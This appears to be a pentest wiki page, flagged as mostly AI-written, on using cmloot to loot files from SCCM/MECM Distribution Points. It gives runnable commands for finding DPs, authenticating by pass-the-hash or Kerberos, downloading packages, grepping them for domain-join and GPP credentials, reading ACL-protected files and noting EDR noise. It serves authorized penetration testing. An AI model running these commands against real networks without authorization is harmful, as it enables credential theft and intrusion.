# cmloot
!!!warning
This post was 98% AI generated after working with cmloot extensively during a pentest and having a super long chat with Claude about it.
!!!

This [tool](https://github.com/shelltrail/cmloot) loots files out of SCCM/MECM Distribution Points. It's a Python3 port of the original PowerShell [CMLoot](https://github.com/1njected/CMLoot), rewritten on top of [impacket](https://github.com/fortra/impacket) — so pass-the-hash, Kerberos and SOCKS all work, and it runs happily from Kali/Exegol instead of needing Windows.

## Install
```
python3 -m venv venv
source venv/bin/activate
git clone https://github.com/shelltrail/cmloot
cd cmloot
pip install impacket
```

Then run it directly:
```
python3 cmloot.py -h
```

## Find the Distribution Points
Any host sharing `SCCMContentLib$` is a DP. Sweep with [NetExec](/pentesting/internal/netexec/):

```
nxc smb 192.168.1.0/24 -u USER -p PASS --shares | grep -i 'SCCMContentLib\|SMS_DP_SMSPKG\|REMINST'
```

cmloot can also find them itself over LDAP:
```
python3 cmloot.py DOMAIN/USER:PASS@dc.domain.com -findsccmservers
```

!!!tip
`REMINST` = the WDS/PXE share, but **don't rely on it to spot PXE**. Modern ConfigMgr (1806+) runs a PXE responder *without* WDS, so a live PXE DP may have **no** `REMINST` share at all. The only reliable PXE test is [pxethief](/pentesting/internal/pxethief/).
!!!

## Syntax gotcha (target goes FIRST)
Unlike the PowerShell version, this is an impacket script — the **target string comes first**, then the flags. And `-extensions` takes a **space-separated list** (the PowerShell `-Extension` only took one at a time):

```
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -cmlootinventory files.txt
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -n -cmlootdownload files.txt -extensions ps1 xml config
```

Auth flavors carry over from impacket:
```
# pass-the-hash
python3 cmloot.py DOMAIN/USER@dp.domain.com -hashes :NTHASH -cmlootinventory files.txt
# kerberos
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -k -cmlootinventory files.txt
# name won't resolve? feed the IP
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -target-ip 192.168.1.50 -cmlootinventory files.txt
```

## Run

### Step 1 - Inventory
`-cmlootinventory` just walks the DataLib and writes a list of file paths — cheap, no downloads yet:

```
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -cmlootinventory dp-files.txt
```

!!!tip
The inventory walk touches a **lot** of files over SMB and can trip Defender for Endpoint / EDR. The inventory pass is the noisy step — the downloads are quiet by comparison.
!!!

### Step 2 - Download by extension
`-cmlootdownload` reads the inventory and pulls files matching `-extensions`. Default (if you omit `-extensions`) is `INI`, `XML`, `CONFIG`. Widen it for credential hunting:

```
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -n -cmlootdownload dp-files.txt \
  -extensions config xml ps1 psd1 json ini conf bat vbs cmd txt pem cer rdp
```

Files land in `./CMLootOut/`, named `<hash4>-<originalname>` — the 4-char content-hash prefix is handy for **de-duping identical files across multiple DPs** (branch DPs replicate a lot of the same content).

!!!tip
There's **no single-file download flag**. To grab specific files, `grep` them out of the inventory into a mini-inventory, then download that:
```
grep -iE 'Deploy-Application\.(ps1|exe\.config)$' dp-files.txt > targets.txt
python3 cmloot.py DOMAIN/USER:PASS@dp.domain.com -n -cmlootdownload targets.txt -extensions ps1 config
```
!!!

### Step 3 - Sweep the loot for secrets
Once `CMLootOut/` is full, grep for the good stuff — filtering out the usual vendor noise so real hits stand out:

```
cd CMLootOut
grep -riIE 'cpassword|OSDJoin(Account|Password)|convertto-securestring|-asplaintext|net use .*/user:|connectionstring|password\s*=\s*[^\s"<>]' . 2>/dev/null \
  | grep -viE 'AppDeployToolkitMain|\.Template\.|SAMPLE|aggregator\.xml'
```

What you're hunting: `OSDJoinPassword`/`OSDJoinAccount` (task-sequence domain-join creds — direct win), `cpassword` (GPP, instantly decryptable), and `ConvertTo-SecureString ... -AsPlainText` in a `.ps1` (hardcoded cred).

!!!tip
Known false positives worth pre-filtering (all shipped inside common SCCM packages): Microsoft **Retail SDK** sample `*.Template.xml` files (placeholder creds like `Pass1Word!`), the **PSAppDeployToolkit** framework `AppDeployToolkitMain.ps1` (the real cred, if any, is in the sibling `Deploy-Application.ps1`), and Dell/Fibocom **WWAN driver** `*_configuration.xml` (public carrier APN creds).
!!!

### Getting at ACL'd files
During inventory, any package cmloot can't read gets logged to **`_noaccess.txt`**. The ACL only protects the file *descriptor* in the DataLib — the actual file in the FileLib is often still readable by its content hash, which is exactly where an admin might hide a credentialed script. The original CMLoot's `Invoke-CMLootHunt` automates fetching these; worth a manual look here too.
